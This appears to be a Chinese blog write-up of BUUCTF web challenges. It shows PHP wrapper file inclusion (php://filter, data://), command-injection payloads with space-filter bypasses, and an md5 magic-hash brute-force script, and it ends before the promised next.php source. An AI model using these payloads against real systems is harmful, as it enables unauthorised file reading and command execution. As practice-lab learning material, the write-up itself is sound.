您当前的位置: 首页 >  http

葫芦娃42

暂无认证

  • 4浏览

    0关注

    75博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

Buuctf web真题1(php伪协议&Rce过滤绕过&md5()小bug&http)

葫芦娃42 发布时间:2022-04-05 19:02:47 ,浏览量:4

[ACTF2020 新生赛]Include

考察利用php://filter伪协议进行文件包含

首先尝试php://input伪协议:

发现被过滤。

然后尝试使用php://filter伪协议来继续包含,

构造playloads:php://filter/read=convert.base64-encode/resource=flag.php

得到base码。

将其进行解码,得到flag。

[GXYCTF2019]Ping Ping Ping

PING命令其实就是用于确定本地主机是否能与另一台主机成功交换(发送与接收)数据包,再根据返回的信息,就可以推断TCP/IP参数是否设置正确,以及运行是否正常、网络是否通畅等。但其实我们这种题并不是真的让你去PING某个IP;而是让你利用终端去执行你想要的语句.

我们构造payload, ?ip=1| ls, 显示fxck your space, ?ip=1| system("ls") 显示fxck your symbol。

可以得知空格和一些符号被过滤掉了。所以我们构造?ip=1|ls, 得知有flag.php与index.php。

百度搜索到了几个过滤空格的方式:

        1.${IFS}替换 2.$IFS$1替换 3.${IFS替换 4.%20替换 5.%09替换 6.

 可以明显的看见我们的flag在下面,要得到我们的flag,需要突破前面三关,level1,level2,level3.

代码审计。

在level1里:

        我们要满足intval($num) 2021。这就涉及到intval函数的一个bug,对于科学计数法表示的字符串形如’2e4’,他会先转字符串再比较,判定他是2 而如果说是’2e4’+1,他会先进行计算,结果是20001,从而根据此弱点,突破level1.当然这跟php版本有关,只在某些特定版本有效,5.5.38有效。

在level2里:

        我们要传进去一个参数md5,如果满足我们传进去的md5==其md5加密后的数,才继续进行。php中==如果两侧类型不同,会先转化为相同类型然后比较。0e开头,md5加密后还是0e开头,那么我们就认为这两个值相等.写个python脚本跑一下。

import hashlib
i = 0
while True:
    text = '0e{}'.format(i)
    m =  hashlib.md5(text.encode('utf-8')).hexdigest()
    print(text,m)
    if m[0:2] == '0e' :
        if m[2:].isdigit():
            print('find it:',text,":",m)
            break
    i +=1

最终可知,构造md5=0e215963017即可。

在level3里:

        传入get_flag=ls,执行system(ls)。可以发现flag位置。fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag。

 因为cat和空格被过滤,所以我们要绕过cat命令,可以用tac,sort等等。

区别是cat是从第一行开始抓取,tac是从最后一行。空格可以用%09,$IFS$9,${IFS}绕过。

最终构造?num=2e4&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag。得到最终flag。

[BJDCTF2020]ZJCTF,不过如此1

        通过分析代码,get传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。 看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议。 include($file)处的有next.php,我们传入file参数用filter获取一下next.php的源代码。构造payload:?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php。

得到next.php的源代码为:

            
关注
打赏
1658420143
查看更多评论
0.0431s